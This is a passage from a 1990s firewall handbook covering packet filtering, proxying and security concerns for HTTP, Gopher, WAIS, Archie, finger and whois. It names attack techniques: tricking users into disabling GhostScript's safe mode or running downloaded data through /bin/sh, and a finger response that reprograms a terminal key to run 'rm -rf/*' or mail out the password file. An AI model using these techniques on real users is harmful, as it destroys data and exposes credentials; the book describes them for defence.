Most WWW browsers are capable of using protocols other than HTTP, which is the basic protocol of the Web. For example, these browsers are usually also Gopher and FTP clients, or are capable of using your existing Telnet and FTP clients transparently (without its being visible to the user that he is starting an external program). Many of them are also NNTP, SMTP, and Archie clients. They use a single, consistent notation called a Uniform Resource Locator (URL) (see sidebar) to specify connections of various types.

Uniform Resource Locator (URL) Syntax

The general form of URLs is service://host/path/to/file/or/page.

There are several possible values for the service field, including "ftp", "http", "gopher", and "telnet".

The host part generally specifies the hostname or IP address of the host to connect to. If the service to be accessed is on a nonstandard port on that host (for example, if it's an HTTP server on something other than port 80), the host field can be optionally specified as "host:port" (e.g., http://www.somewhere.com:8080 would refer to an HTTP server on port 8080 on machine www.somewhere.com).

The path field (what comes after the "/" following the host part) varies by type of URL, but generally that field specifies the particular file or document to access on that server using that service. For example, the URL ftp://ftp.greatcircle.com/pub/firewalls/FAQ refers to the file /pub/firewalls/FAQ to be obtained via anonymous FTP from host ftp.greatcircle.com.

For more information about URLs, see any good book on the World Wide Web.

8.6.1 Packet Filtering Characteristics of HTTP

HTTP is a TCP-based service. Clients use random ports above 1023. Most servers use port 80, but some don't. To understand why, you need some history.

Many of the modern information access services (notably HTTP, WAIS, and Gopher) were designed so that the servers don't have to run on a fixed well-known port on all machines. A standard well-known port was established for each of these services, but the clients and servers are all capable of using alternate ports as well. When you reference one of these servers, you can include the port number it's running on (assuming that it's not the standard port for that service) in addition to the name of the machine it's running on. For example, an HTTP URL of the form http://host.domain.net/file.html is assumed to refer to a server on the standard HTTP port (port 80); if the server were on an alternate port (port 8000, for example), the URL would be written http://host.domain.net:8000/file.html.

The protocol designers had two good and valid reasons for designing these services this way:

  • Doing so allows a single machine to run multiple servers for multiple data sets. You could, for example, run one HTTP server that's accessible to the world with data that you wish to make available to the public, and another that has other, nonpublic data on a different port that's restricted (via packet filtering or the authentication available in the HTTP server, for example).

  • Doing so allows users to run their own servers (which may be a blessing or a curse, depending on your particular security policy). Because the standard well-known ports are all in the "below 1024" range that's reserved for use only by root on UNIX machines, unprivileged users can't run their servers on the standard port numbers.

The ability to provide these services on nonstandard ports has its uses, but it complicates things considerably from a packet filtering point of view. If your users wish to access a server running on a nonstandard port, you have several choices:

  • You can tell the users they can't do it; this may or may not be acceptable, depending on your environment.

  • You can add a special exception for that service to your packet filtering setup. This is bad for your users because it means that they first have to recognize the problem and then wait until you've fixed it, and it's bad for you because you'll constantly have to be adding exceptions to the filter list.

  • You can try to convince the server's owner to move the server to the standard port. While encouraging folks to use the standard ports as much as possible is a good long-term solution, it's not likely to yield immediate results.

  • You can use some kind of proxied version of the client. This requires setup on your end, and may restrict your choice of clients. On the other hand, both Mosaic and Netscape Navigator support proxying, and they are by far the most popular clients.

  • If you can filter on the ACK bit, you can allow all outbound connections, regardless of destination port. This opens up a wide variety of services, including passive-mode FTP. It also is a noticeable increase in your vulnerability.

The good news is that the vast majority of these servers (probably much greater than 90%) use the standard port, and that the more widely used and important the server is, the more likely it is to use the standard port. Many servers that use nonstandard ports use one of a few easily recognizable substitutes (81, 800, 8000, and 8080).

Your firewall will probably prevent people on your internal network from setting up their own servers at nonstandard ports (you're not going to want to allow inbound connection to arbitrary ports above 1023). You could set up such servers on a bastion host, but wherever possible, it's kinder to other sites to leave your servers on the standard port.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 80[18] | [19] | Incoming session, client to server
Out | Int | Ext | TCP | 80[18] | >1023 | Yes | Incoming session, server to client
Out | Int | Ext | TCP | >1023 | 80[18] | [19] | Outgoing session, client to server
In | Ext | Int | TCP | 80[18] | >1023 | Yes | Outgoing session, server to client

[18] 80 is the standard port number for HTTP servers, but some servers run on different port numbers.

[19] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.6.2 Proxying Characteristics of HTTP

Various HTTP clients (such as Mosaic and Netscape Navigator) transparently support various proxying schemes. Some clients support SOCKS; others support user-transparent proxying via special HTTP servers, and some support both. (See the discussion of SOCKS and proxying in general in Chapter 7.)

The CERN HTTP server, developed at the European Particle Physics Laboratory in Geneva, Switzerland, has a proxy mode in which the server handles all requests for remote documents from browsers inside the firewall. The server makes the remote connection, passing the information back to the clients transparently. See Appendix B for information about getting the CERN HTTP server.

Using the CERN HTTP server as a proxy server can provide an additional benefit, because the server can locally cache WWW pages obtained from the Internet. This caching can significantly improve client performance and reduce network bandwidth requirements. It does this by ensuring that popular WWW pages are retrieved only once at your site. The second and subsequent requests get the locally cached copy of the page, rather than a new copy each time from the original server out on the Internet.

The TIS FWTK also includes an HTTP proxy server, called http-gw, that can be used with any client program. Clients that support HTTP proxying can use the FWTK HTTP proxy server transparently (all you have to do is configure the client to tell it where the server is), but you must enforce custom user procedures for clients that don't support HTTP proxying. Basically, URLs have to be modified to direct the clients to the proxy server rather than the real server. URLs embedded in HTML documents that pass through the server are modified automatically, but users must know how to do it by hand for URLs they type in from scratch or obtain through other channels. Chapter 7 describes the TIS FWTK in more detail.

8.6.3 HTTP Security Concerns

There are two basic sets of security concerns regarding HTTP:

  • What can a malicious client do to your HTTP server?

  • What can a malicious HTTP server do to your clients?

The following sections describe these concerns:

8.6.3.1 What can a malicious client do to your HTTP server?

In most ways, the security concerns we have for an HTTP server are very similar to the security concerns we have for any other server that handles connections from the Internet, e.g., an anonymous FTP server. You want to make sure that the users of those connections can access only what you want them to access, and that they can't trick your server so they get to something they shouldn't.

There are a variety of methods to accomplish these goals, including:

  • Carefully configure the security and access control features of your server to restrict its capabilities and what users can access with it.[20]

    [20] For a more complete discussion of these features and their use, see the chapters on HTTP servers in Managing Internet Information Services.

  • Run the server as an unprivileged user.

  • Use the chroot mechanism to restrict the server's operation to a particular section of your filesystem hierarchy. You can use chroot either within the server or through an external wrapper program.

  • Don't put anything sensitive on the server machine in the first place. In this way, even if somebody does "break out" somehow, there's nothing else of interest on the machine; at least, nothing that they couldn't already get to anyway via the normal access procedures.

  • Configure the rest of your network security so that even if an attacker manages to totally, compromise the server host, they're going to have a hard time getting any further into your network. To start with, don't put the server on an internal net.

HTTP servers themselves are providing a limited service and don't pose major security concerns. However, there is one unique feature of HTTP servers that you need to worry about: their use of external programs, particularly ones that interact with the user via the Common Gateway Interface (CGI) which is the piece of HTTP that specifies how user information is communicated to the server and from it to external programs. Many HTTP servers are configured to run other programs to generate HTML pages on the fly. These programs are generically called CGI scripts, even if they don't use CGI and aren't scripts. For example, if someone issues a database query to an HTTP server, the HTTP server runs an external program to perform the query and generate an HTML page with the answers.

There are two things you need to worry about with these external programs:

  • Can an attacker trick the external programs into doing something they shouldn't?

  • Can an attacker upload his own external programs and cause them to be executed?

You may want to run your HTTP server on a Macintosh, DOS, or Windows machine. These machines have good HTTP server implementations available, but don't generally have the other capabilities that would make those servers insecure. For example, they are unlikely to be running other servers, they don't have a powerful and easily available scripting facility, and they're less likely to have other data or trusted access to other machines. The downside of this is that it's hard to do interesting things on them; the easier it gets, the less secure they'll be.

Tricking external programs

The external programs run by HTTP servers are often shell scripts written by folks who have information they want to provide access to, but who know little or nothing about writing secure shell scripts (which is by no means trivial, even for an expert).

Because it's difficult to ensure the security of the scripts themselves, about the best you can do is try to provide a secure environment (using chroot and other mechanisms) that the scripts can run in (one which, you hope, they can't get out of). There should be nothing in the environment you'd worry about being revealed to the world. Nothing should trust the machine the server is running on. If you set up the environment in this way, then even if attackers somehow manage to break out of the restricted environment and gain full access to the machine, they're not much further along towards breaking into the really interesting stuff on your internal network.

Alternatively, or in addition, if you have people who you feel sure are capable of writing secure scripts, you can have all the scripts written, or at least reviewed, by these people. Most sites don't have people like this readily available, but if you are going to be seriously involved in providing WWW service, you may want to hire one. It's still a good idea to run the scripts in a restricted environment; nobody's perfect.

Uploading external programs

The second concern is that attackers might be able to upload their own external programs and cause your server to run them. How could attackers do this? Suppose the following:

  • Your HTTP server and your anonymous FTP server both run on the same machine.

  • They can both access the same areas of the filesystem.

  • There is a writable directory somewhere in those areas, so that customers can upload core dumps from your product via FTP for analysis by your programmers, for example.

In this case, the attacker might be able to upload his own script or binary to that writable directory using anonymous FTP, and then cause the HTTP server to run it.

What is your defense against things like this? Once again, your best bet is to restrict what filesystem areas each server can access (generally using chroot), and to provide a restricted environment in which each server can run.

8.6.3.2 What can a malicious server do to your HTTP clients?

The security problems of HTTP clients are far more complex that those of HTTP servers. The basis of these client problems is that HTTP clients (like Mosaic and Netscape Navigator) are generally designed to be extensible and to run particular external programs to deal with particular data types. This extensibility can be abused by an attacker.

HTTP servers can provide data in any number of formats: plain text files, HTML files, PostScript documents, still video files (GIF and JPEG), movie files (MPEG), audio files, and so on. The servers use MIME, discussed briefly above in the section on electronic mail, to format the data and specify its type. HTTP clients generally don't attempt to understand and process all of these different data formats. They understand a few (such as HTML, plain text, and GIF), and they rely on external programs to deal with the rest. These external programs will display, play, preview, print, or do whatever is appropriate for the format.

For example, UNIX Web browsers confronted with a PostScript file will ordinarily invoke the GhostScript program, and UNIX Web browsers confronted with a JPEG file will ordinarily invoke the xv program. The user controls (generally via a configuration file) what data types the HTTP client knows about, which programs to invoke for which data types, and what arguments to pass to those programs. If the user hasn't provided his own configuration file, the HTTP client generally uses a built-in default or a systemwide default.

All of these external programs present two security concerns:

  • What are the inherent capabilities of the external programs an attacker might take advantage of?

  • What new programs (or new arguments for existing programs) might an attacker be able to convince the user to add to his configuration?

An example

Let's consider, for example, what an HTTP client is going to do with a PostScript file. PostScript is a language for controlling printers. While primarily intended for that purpose, it is a full programming language, complete with data structures, flow of control operators, and file input/output operators. These operators ("read file", "write file", "create file", "delete file", etc.) are seldom used, except on printers with local disks for font storage, but they're there as part of the language. PostScript previewers (such as GhostScript) generally implement these operators for completeness.

Suppose that a user uses Mosaic to pull down a PostScript document. Mosaic invokes GhostScript, and it turns out that the document has PostScript commands in it that say "delete all files in the current directory." If GhostScript executes the commands, who's to blame? You can't really expect Mosaic to scan the PostScript on the way through to see if it's dangerous; that's an impossible problem. You can't really expect GhostScript not to do what it's told in valid PostScript code. You can't really expect your users not to download PostScript code, or to scan it themselves.

Current versions of GhostScript have a safer mode they run in by default. This mode disables "dangerous" operators such as those for file input/output. But what about all the other PostScript interpreters or previewers? And what about the applications to handle all the other data types? How safe are they? Who knows?

Even if you have safe versions of these auxiliary applications, how do you keep your users from changing their configuration files to add new applications, run different applications, or pass different arguments (for example, to disable the safer mode of GhostScript) to the existing applications?

Why would a user do this? Suppose that the user found something in the WWW that claimed to be something he really wanted - a game demo, a graphics file, a copy of Madonna's new song, whatever. And, suppose that this desirable something came with a note that said "Hey, before you can access this Really Cool Thing, you need to modify your Mosaic configuration, because the standard configuration doesn't know how to deal with this thing; here's what you do..." And, suppose that the instructions were something like "remove the `-dSAFER' flag from the `ghostscript' line of your .mosaicrc file," or "add this line to your .mosaicrc file."

Would your users recognize that they were being instructed to disable the safer mode in GhostScript, or to add some new data type with /bin/sh as its auxiliary program, so that whatever data of that type came down was passed as commands straight to the shell? Even if they recognized it, would they do it anyway (nice, trusting people that they are)?

Some people believe that Macintosh and PC-based versions of WWW browsers are less susceptible to some of these security problems than UNIX-based browsers. On Mac and PC machines, there is usually no shell (or only a shell of limited power, like the MS-DOS command interpreter) that an attacker can break out to, and a limited and highly unpredictable set of programs to access once they're there. Also, if any damage occurs, it can often be more easily isolated to a single machine. On the other hand, "highly unpredictable" does not mean "completely unpredictable". (For example, a very large percentage of Macs and PCs have copies of standard Microsoft applications, like Word and Excel.) Further, if your Macs and PCs are networked with AppleShare, Novell, PC-NFS, or something similar, you can't make any assumptions about damage being limited to a single machine.

What can you do?

There is no simple, foolproof defense against the type of problem we've described. At this point in time, you have to rely on a combination of carefully installed and configured client and auxiliary programs, and a healthy dose of user education and awareness training. This is an area of active research and development, and both the safeguards and the attacks will probably develop significantly over the next couple of years.

Because Mac and PC clients seem less susceptible to some of the client-side problems, some sites take the approach of allowing WWW access only from Macs or PCs. Some go even further and limit access to particular machines (often placed in easily accessible locations like libraries or cafeterias) that have been carefully configured so they have no sensitive information on them, and no access to such information. The idea is this: If anything bad happens, it will affect only this one easily rebuilt machine. The machine can't be used to access company data on other machines.

Some people have experimented, at least in UNIX environments, with running Mosaic and its auxiliary programs under the X Window System in a restricted environment - or on a "sacrificial goat" machine that has nothing else on it - with the displays directed to their workstation. This provides a certain measure of protection, but it also imposes a certain amount of inconvenience. Consider the following problems with this approach:

  • This approach works only for the UNIX/X version of Mosaic. If you have Mac and PC users, they're going to have to run X on their system, log in to the goat system, set up the restricted environment, and start Mosaic. All in all, this may be more interaction with UNIX than they're willing to put up with.

  • Any files legitimately retrieved during the session are going to wind up in the restricted environment or on the goat machine. Then, they're going to have to be transferred separately to the machine where they are really wanted.

  • This approach generally doesn't work for audio files, which will end up being played on the audio system of the goat machine (or wherever the restricted environment is), not on the user's machine.

As discussed above in the section called "Packet Filtering Characteristics of HTTP," there is another complication of WWW clients in environments in which packet filtering is part of the firewall solution: not all HTTP servers run on port 80. To address this, you might consider using proxy servers for HTTP access. If you do this, the internal clients talk on standard ports through the packet filtering system to the proxy server, and the proxy server talks on arbitrary ports (because it's outside the packet filtering system) to the real server.

8.6.4 Secure HTTP

You may hear discussions of Secure HTTP and wonder how it relates to firewalls and the configuring of services. Secure HTTP is not designed to solve the kinds of problems we've been discussing in this section. It's designed to deal with privacy issues by encrypting the information that is being passed around via HTTP. A mechanism like Secure HTTP is necessary to be able to do business using HTTP so that things like credit card numbers can be passed over the Internet without fear of capture by packet sniffers. In order to distinguish between privacy issues, on the one hand, and vulnerability to malicious servers, on the other hand, people working on HTTP and similar extensible protocols usually use the word "safe" to refer to protocols that protect you from hostile servers, and the word "secure" to refer to protocols that protect you from data snooping.

Because it provides authentication as well as encryption, Secure HTTP could eventually provide some assistance with safety. If you are willing to connect only to sites that you know, that run Secure HTTP, and that authenticate themselves, you can be sure that you're not talking to a hostile site. However, even when Secure HTTP is released and in wide usage, this approach (limited connections) is unlikely to be a popular and practical one; part of the glory of the Web is being able to go to new and unexpected places.

Although people are working on HTTP-like protocols that are safe, safe HTTP is probably not a viable concept. It's not HTTP that's unsafe; it's the fact that HTTP is transferring programs in other languages. This is a major design feature of HTTP and one of the things responsible for its rapid spread.

8.6.5 Summary of WWW Recommendations

  • If you're going to run an HTTP server, use a dedicated bastion host if possible.

  • If you're going to run an HTTP server, carefully configure the HTTP server to control what it has access to; in particular, watch out for ways that someone could upload a program to the system somehow (via mail or FTP, for example), and then execute it via the HTTP server.

  • Carefully control the external programs your HTTP server can access.

  • You can't allow internal hosts to access all HTTP servers without allowing them to access all TCP ports, because some HTTP servers use nonstandard port numbers. If you don't mind allowing your users access to all TCP ports, you can use packet filtering to examine the ACK bit to allow outgoing connections to those ports (but not incoming connections from those ports). If you do mind, then either restrict your users to servers on the standard port (80), or use proxying.

  • Proxying HTTP is easy, and a caching proxy server offers network bandwidth benefits as well as security benefits.

  • Configure your HTTP clients carefully and warn your users not to reconfigure them based on external advice.

Previous: 8.5 Network News Transfer Protocol (NNTP) | Building Internet Firewalls | Next: 8.7 Other Information Services
8.5 Network News Transfer Protocol (NNTP) | Book Index | 8.7 Other Information Services


[Chapter 8] 8.7 Other Information Services

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.6 World Wide Web (WWW) and HTTP Chapter 8
Configuring Internet Services 		Next: 8.8 Information Lookup Services

8.7 Other Information Services

In addition to the World Wide Web services described in the previous section, there are a number of other popular information services as well, including Gopher, WAIS, and Archie.

8.7.1 Gopher

Gopher is a menu-driven text-based tool for browsing through files and directories across the Internet. When a user selects a Gopher menu item, Gopher retrieves the specified file and displays it appropriately. This means that if a file is compressed, Gopher automatically uncompresses it; if it's a GIF image, Gopher automatically runs a GIF viewer.

The security concerns for Gopher are essentially the same - from both a server and a client point of view - as those described in the preceding section for HTTP servers and clients.

For servers, you have to worry about what a malicious client can trick you into running. Like HTTP servers, some Gopher servers use auxiliary programs to generate Gopher pages on the fly. Gopher servers are therefore susceptible to the same kinds of problems as HTTP servers:

  • Can an attacker trick the auxiliary program?

  • Can the attacker upload his own auxiliary program and cause it to be run?

For clients, you have to worry about what a malicious server can trick you into doing. Gopher uses the same kinds of extensible data type and auxiliary program mechanisms as HTTP, so the concerns are similar to those described for HTTP.

Like HTTP servers, Gopher servers also sometimes live on nonstandard ports, so those concerns are similar to HTTP as well. Some Gopher clients support transparent proxying (via SOCKS or other mechanisms), but many don't.

Most of the common WWW browsers such as Mosaic and Netscape Navigator are Gopher clients as well as being HTTP clients. These browsers generally support the proxying of Gopher via SOCKS or via transparent HTTP proxy servers such as the CERN HTTP server described in the preceding section. Even if you can't find a dedicated Gopher client that does proxying, you can probably use one of these WWW browsers (and an appropriate proxy server) instead. Your users may even prefer this approach to using a separate Gopher client, because it means they only have one application - a client for HTTP, Gopher, and several other protocols - to learn and configure, rather than a separate application for each protocol.

8.7.1.1 Packet filtering characteristics of Gopher

Gopher is a TCP-based service. Gopher clients use ports above 1023. Most Gopher servers use port 70, but some don't; see the discussion of nonstandard server ports above, in the section called "Packet Filtering Characteristics of HTTP."

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 70[21] | [22] | Incoming session, client to server
Out | Int | Ext | TCP | 70[21] | >1023 | Yes | Incoming session, server to client
Out | Int | Ext | TCP | >1023 | 70[21] | [22] | Outgoing session, client to server
In | Ext | Int | TCP | 70[21] | >1023 | Yes | Outgoing session, server to client

[21] 70 is the standard port number for Gopher servers, but some servers run on different port numbers.

[22] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.7.1.2 Proxying characteristics of Gopher

The TIS FWTK http-gw proxy server can serve Gopher as well as HTTP. SOCKS does not include a modified Gopher client, but Gopher clients are, in general, not difficult to modify to use SOCKS; many of the Gopher clients freely available on the Internet support SOCKS as either a compile-time or run-time option. Using a Web browser that supports proxying, like Netscape Navigator or Mosaic, will give you proxy support for Gopher automatically.

8.7.1.3 Summary of Gopher recommendations

These recommendations are basically the same as for HTTP:

  • If you're going to run a Gopher server, use a dedicated bastion host if possible.

  • If you're going to run a Gopher server, carefully configure the Gopher server to control what it has access to; in particular, watch out for ways that someone could upload a program to Gopher system somehow (via mail or FTP, for example), and then execute it via the Gopher server.

  • Carefully control the external programs your Gopher server can access.

  • You can't allow internal hosts to access all Gopher servers without allowing them to access all TCP ports, because some Gopher servers use nonstandard port numbers. If you don't mind allowing your users access to all TCP ports, you can use packet filtering to examine the ACK bit to allow outgoing connections to those ports (but not incoming connections from those ports). If you do mind, then either restrict your users to servers on the standard port (70), or use proxying.

  • Configure your Gopher clients carefully, and warn your users not to reconfigure them based on external advice.

  • If possible, use a Web browser such as Mosaic or Netscape Navigator for your Gopher client, rather than a dedicated client. Your users are probably going to demand WWW access before Gopher access anyway, so you might as well only have to figure out and secure one application.

8.7.2 Wide Area Information Servers (WAIS)

WAIS indexes large text databases so that they can be searched efficiently by simple keyword or more complicated Boolean expressions. For example, you can ask for all the documents that mention "firewalls" or all the documents that mention "firewalls" but don't mention "fire marshals". (You might do this to make sure you don't get documents about literal firewalls.) WAIS was originally developed at Thinking Machines as a prototype information service, and is now widely used on the Internet for things like mailing-list archives and catalogs of various text-based information (library card catalogs, for example).

WAIS servers present the same basic security concerns as the servers for all of the other common Internet services, such as FTP and HTTP: Can an attacker use this server to access something he shouldn't?

You address this problem just as you do with other servers: Secure and restrict the environment the server runs in. In this way, you ensure that even if the attacker gets out of the server, there's nothing else of interest to be found on the machine. Further, nothing else should trust the machine enough to significantly facilitate further break-ins.

Generally, WAIS servers do not run auxiliary programs the way HTTP and Gopher servers do, so with WAIS, you don't need to worry that attackers will trick your servers or upload auxiliary programs as they can with the HTTP and Gopher servers. Because WAIS clients are not generally extensible with new data types and auxiliary programs, as HTTP and Gopher clients are, you also don't have that can of worms to worry about.

WAIS servers do share one characteristic of HTTP and Gopher servers, however: while there is a standard port number for WAIS servers (TCP port 210), not all of them use it. See the discussion of this in the section on HTTP above for an understanding of the problems this can cause.

WAIS clients are generally standalone programs. They help you find WAIS servers, submit queries to those servers, display the results, submit follow-on queries based on previous results, and so on. WAIS information is generally text-based, so WAIS clients generally don't have the problems that HTTP and Gopher clients do regarding the safety of the data they retrieve.

Some WWW browsers include limited WAIS client support.

8.7.2.1 Packet filtering characteristics of WAIS

WAIS is a TCP-based service. WAIS clients use random ports above 1023. WAIS servers usually use port 210, but sometimes don't; see the discussion of nonstandard server ports above, in the section about HTTP.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 210[23] | [24] | Incoming session, client to server
Out | Int | Ext | TCP | 210[23] | >1023 | Yes | Incoming session, server to client
Out | Int | Ext | TCP | >1023 | 210[23] | [24] | Outgoing session, client to server
In | Ext | Int | TCP | 210[23] | >1023 | Yes | Outgoing session, server to client

[23] 210 is the standard port number for WAIS servers, but some servers run on different port numbers.

[24] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.7.2.2 Proxying characteristics of WAIS

If you use a proxying Web browser like Netscape Navigator or Mosaic to access WAIS, you automatically get client support. As a straightforward single-connection protocol with plenty of user-specified information, WAIS lends itself to both modified-client and modified-procedure proxying. SOCKS support is commonly available in standalone WAIS clients.

8.7.2.3 Gateways to WAIS

A number of sites on the Internet provide WAIS gateways for HTTP clients, allowing people using WWW browsers to access WAIS servers indirectly. Gateways include:

http://www.ai.mit.edu/the-net/wais.html
http://www.wais.com/

8.7.2.4 Summary of WAIS recommendations

  • If you want to run a WAIS server, run it on a bastion host and on the standard port for WAIS (TCP port 210). Carefully configure the server to control what information it has access to.

  • You can't allow internal hosts to access all WAIS servers without allowing them to access all TCP ports, because some WAIS servers use nonstandard port numbers. If you don't mind allowing your users access to all TCP ports, you can use packet filtering to examine the ACK bit to allow outgoing connections to those ports (but not incoming connections from those ports). If you do mind, then either restrict your users to servers on the standard port (TCP port 210) or use proxying.

  • If possible, use a Web browser such as Mosaic or Netscape Navigator for your WAIS client, rather than a dedicated client. Your users are probably going to demand WWW access before WAIS access anyway, so you might as well figure out and secure just one application.

8.7.3 Archie

Archie is an Internet service that lets users search through indexes of anonymous FTP servers for strings or regular expressions that match file and directory names in the FTP archives. Archie continually polls public anonymous FTP servers to keep up to date with what's available at the sites.

8.7.3.1 Packet filtering characteristics of Archie

Archie is a UDP-based service. Dedicated Archie clients use ports above 1023; Archie servers use port 1525. As we discuss in Chapter 6, UDP-based services in general are a problem for packet filtering firewalls. Alternative ways to access Archie (other than directly via the Archie protocol) are discussed in the sections below.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
Out | Int | Ext[25] | UDP | >1023 | 1525 | [26] | Outgoing query, client to server
In | Ext[25] | Int | UDP | 1525 | >1023 | [26] | Incoming response, server to client

[25] The external address should be one of the well-known Archie servers.

[26] UDP packets do not have ACK bits.

Most sites with packet filtering systems typically filter out all UDP traffic, and then open specific, restricted peepholes between their internal hosts and their bastion host (not the whole outside world) for key UDP-based services.

8.7.3.2 Proxying characteristics of Archie

Because Archie is a UDP-based service, it is not supported by SOCKS; however, it can be proxied by the UDP Packet Relayer. TIS FWTK does not provide an Archie proxy server and does not provide a generic proxy server for UDP (plug-gw supports only TCP). Using one of the HTTP-Archie gateways (discussed below) gives you the proxying of your Web browser, and provides a better user interface than many dedicated Archie clients.

8.7.3.3 Providing Archie service to your users

There are several ways to let your users access Archie servers, including Telnet, email, and WWW gateways, and the dedicated Archie protocol. Sites running Archie servers generally prefer people to access them via the dedicated Archie protocol (or via WWW gateways, which in turn access the Archie servers via the dedicated Archie protocol) because this is more efficient for them and allows them to serve a greater number of users.

Archie access via Telnet

If you allow outgoing Telnet, Archie servers can be accessed by opening a Telnet session to the machine and logging in as "archie" (no password required). This will give you access to a command-line-oriented Archie query program. Now you can either capture a log of the Telnet session to save your results or tell the server to email you the results after you're done. Issue the command "help" to get started with a description of the server's command language.

Archie access via email

Generally, Archie servers can also be accessed by email. If you send an email message to "archie" at one of the Archie sites (e.g., archie@archie.ans.net), it will treat the mail as a query to be processed and will email back the results. Send the query "help" to find out how to use the service.

Archie access via WWW gateways

Like many services, Archie servers can also be accessed via a variety of WWW gateways; simply point your Web browser at one of the following:

http://www.lerc.nasa.gov/Doc/archieplex-httpd.html
http://hoohoo.ncsa.uiuc.edu/archie.html
http://www.nexor.co.uk/archie.html

Archie access via packet filtering and the dedicated Archie protocol

Archie servers can be accessed directly with dedicated Archie clients. The problem is, as we've discussed above, Archie is UDP-based, and most sites block all but a very restricted set of UDP packets through their firewall in order to avoid security problems with RPC-based services like NFS and NIS/YP.

What makes it possible to provide direct Archie access via packet filtering is that there are so few Archie servers. Many sites consider it safe enough to open a peephole in the packet filtering for Archie to the well-known Archie servers their users are likely to use. There are several reasons for this:

  • The list of servers is small and fairly stable.

  • In order to be attacked through this peephole, the attack would have to come (or at least convincingly appear to come) from one of these sites. Given that these are all well-known and very heavily used sites, any break-in to them is probably going to be noticed very quickly, particularly if it takes down the Archie server in order to use its port to attack some other site. Even forging packets is likely to result in widespread service outages and quick detection.

  • Even if someone did break into one of the Archie servers, what are the chances that the attacker would then go after your site in particular?

You may also decide that you are willing to take a chance and open your packet filtering sufficiently to allow your users to access the handful of major Archie servers in the world, or at least the default servers you've configured into the client you're distributing.

8.7.3.4 Running an Archie server

Providing an Archie server is a major undertaking, requiring the dedication of a fairly substantial amount of computing power, disk space, and network bandwidth. Because of this, there are only about 20 Archie servers in the world; telling you how to become the 21st is beyond the scope of this book. In any case, it's unlikely to be beneficial to the world for you to do it. If there are too many servers, they are more likely to be incomplete or out of date and to consume bandwidth people need to access the FTP servers.

8.7.3.5 Summary of Archie recommendations

  • Don't run an Archie server.

  • Teach your users to access Archie via WWW gateways.

Previous: 8.6 World Wide Web (WWW) and HTTP | Building Internet Firewalls | Next: 8.8 Information Lookup Services
8.6 World Wide Web (WWW) and HTTP | Book Index | 8.8 Information Lookup Services


[Chapter 8] 8.8 Information Lookup Services

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 8.7 Other Information Services Chapter 8
Configuring Internet Services 		Next: 8.9 Real-Time Conferencing Services

8.8 Information Lookup Services

The finger and whois services look up information about users and sites on the Internet. They are the closest thing we have to real services for finding out information about people on the Internet at large.

8.8.1 finger

The finger service looks up information about users. This information may include the person's real name, username, and information about when they most recently logged in and where they logged in from. finger can also be used to show the list of all users currently logged into a host. finger is designed to allow people to find each other, but it gives out more information than you probably want to make available. Intruders find it invaluable; it will tell them what the valid usernames on the host are, which of them are not in use, and when people are logged in who are likely to notice their activity.

We recommend that you limit incoming finger requests to a bastion host, and that you run a replacement finger server on that host. Chapter 5 discusses how to construct and install a replacement finger server.

Outgoing finger requests are also mildly problematic. The finger protocol has no command channel to the client, so command channel attacks are nonexistent, but data-driven attacks are possible. Most common finger clients do no filtering on the data they receive from the server. The attacks possible through this data channel are mostly annoyances; the nasty finger server sends back immense amounts of data or makes your terminal beep 400 times and start displaying black letters on a black background. Some of them are more serious. There are terminals that are programmable with control characters, so that a finger server can send back data that reprograms the "e" key so that it executes the command "rm -rf/*" or a command that mails your password file off. Such terminals are not particularly widespread these days (the most popular terminal emulators don't support this kind of thing), but they still exist, and so do terminal emulators that are overly faithful and reproduce these behaviors. If you are using intelligent terminals, or terminal emulators set up to emulate mainframe terminals with programmable function keys, you may be vulnerable.

In general, data-driven attacks on finger are not a major concern, but if your users frequently use finger to external sites - particularly universities, which have lots of people who still think making your terminal beep 400 times is amusing - you may want to run a replacement finger client that filters out control characters and limits the amount of returned data it will accept. [27]

[27] This will prevent you from appreciating the cleverness of people who have managed to put animations in their .plan files using only VT100 control sequences, but that's not a major loss.

A modified finger with an extended protocol is available from the GNU Project. This version of finger supports some useful features for large sites (for example, it lets one machine keep track of the most recent login times for an entire network, so that users are not constantly complaining that they're incorrect), but it does not include any security enhancements on either the server or the client ends. Several pieces of information it makes available are clearly undesirable to provide to attackers (for example, it will provide a list of machines that are idle and/or have no users logged in). The security implications of the extended protocol it uses are unclear.

8.8.1.1 Packet filtering characteristics of finger

finger is a TCP-based service. Servers use port 79. Clients use ports above 1023.

Direc- | Source | Dest. | Pro- | Source | Dest. | ACK |
tion | Addr. | Addr. | tocol | Port | Port | Set | Notes
In | Ext | Int | TCP | >1023 | 79 | [28] | Incoming query, client to server
Out | Int | Ext | TCP | 79 | >1023 | Yes | Outgoing response, server to client
Out | Int | Ext | TCP | >1023 | 79 | [28] | Outgoing query, client to server
In | Ext | Int | TCP | 79 | >1023 | Yes | Incoming response, server to client

[28] ACK is not set on the first packet of this type (establishing connection) but will be set on the rest.

8.8.1.2 Proxying characteristics of finger

SOCKS provides a modified finger client for UNIX, and finger clients on other platforms should be easy to modify to use SOCKS. Some finger servers support the notation finger user@host@proxying-host, which sends the request to the proxying host and from there to the destination host. If this form of proxying is available, however, it will work equally for external and internal users. External users will be able to use it to reach your internal hosts, which you may find undesirable.

8.8.1.3 Summary of finger recommendations

  • Limit incoming finger requests to a bastion host.

  • Run a replacement finger service on the bastion host.

  • Permit outgoing finger requests, but consider running a replacement finger client.

8.8.2 whois

whois is another information-lookup protocol, much like finger. It is commonly used to obtain public information about hosts, networks, domains, and the people who manage them from various Network Information Centers (NICs, such as rs.internic.net). Sites generally don't provide their own whois server; they merely access the whois servers at the NICs. People don't expect other sites to run whois servers (in fact, the user doesn't ordinarily specify a server when he runs whois; instead, the program uses a server that was specified when it was compiled).

